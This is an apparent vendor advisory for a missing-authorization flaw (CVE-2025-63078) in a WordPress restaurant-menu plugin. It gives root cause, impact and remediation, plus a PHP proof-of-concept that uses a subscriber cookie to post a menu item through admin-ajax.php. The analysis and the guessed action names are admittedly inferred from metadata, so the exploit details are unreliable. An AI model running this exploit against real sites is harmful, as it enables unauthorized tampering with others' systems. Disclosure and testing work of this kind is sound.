Atomic Edge analysis of CVE-2025-63078 (metadata-based):
This vulnerability is a missing authorization issue in the Restaurant Menu and Food Ordering plugin (mp-restaurant-menu) for WordPress, affecting versions up to 2.4.11. A subscriber-level authenticated attacker can access a function that should require higher privileges. The CVSS score is 4.3 (medium) with low integrity impact.
Root Cause:
Based on the CWE-862 classification and the description, the plugin fails to perform a capability check (e.g., current_user_can() or a specific user role check) before executing a function. This is inferred from the metadata; no source code diff is available for confirmation. Typically, such functions include AJAX handlers or admin-post actions that modify plugin data like menu items, orders, or settings without verifying the user has the required role (e.g., editor or administrator).
Exploitation:
An authenticated attacker with subscriber-level access sends a crafted POST request to the WordPress AJAX endpoint (wp-admin/admin-ajax.php) or the admin-post endpoint (wp-admin/admin-post.php). The request includes an action parameter likely tied to the plugin’s slug, such as ‘mp_restaurant_menu_save_menu_item’ or ‘mp_restaurant_menu_delete_item’, and the necessary payload (e.g., post data to alter menu entries). The attacker does not need elevated privileges because the handler omits a capability check.
Remediation:
The developer must add a capability check before executing the vulnerable function. In WordPress, this involves calling current_user_can() with the appropriate capability (e.g., ‘edit_posts’, ‘manage_options’, or a custom capability) or checking the user role. Without the patch, the only mitigation is to restrict access to subscriber accounts or disable the plugin until a fix is released.
Impact:
Attackers with a subscriber account can perform unauthorized actions such as modifying menu items, changing orders, or altering plugin settings. This can lead to data integrity issues, including defacement of the menu display, insertion of malicious links, or disruption of the ordering system. No data exposure or privilege escalation is indicated, but the integrity violation undermines the trustworthiness of the site’s food ordering functionality.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-63078 - Restaurant Menu and Food Ordering <= 2.4.11 - Missing Authorization
/*
* This proof-of-concept demonstrates how an authenticated subscriber can
* exploit the missing authorization to perform an action (e.g., save a menu item).
* Replace $target_url and $cookie with actual WordPress site and subscriber session.
*/
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$cookie = ''; // Place subscriber session cookie here (e.g., 'wordpress_abc=...; wordpress_logged_in_abc=...')
// Step 1: Discover the AJAX action (inferred from plugin slug)
$action = 'mp_restaurant_menu_save_menu_item'; // Typical pattern for this plugin
// Step 2: Prepare POST data (simulating saving a menu item)
$post_data = array(
'action' => $action,
'menu_item_name' => 'Unauthorized Item',
'menu_item_description' => 'Added by subscriber',
'menu_item_price' => '9.99',
'menu_item_category' => 1,
);
// Step 3: Send request to AJAX endpoint
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 4: Interpret result
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo '[+] Exploit succeeded: Menu item added or modified.n';
} else {
echo '[-] Exploit failed. Check cookie, URL, or action name. Response: ' . $response . 'n';
}
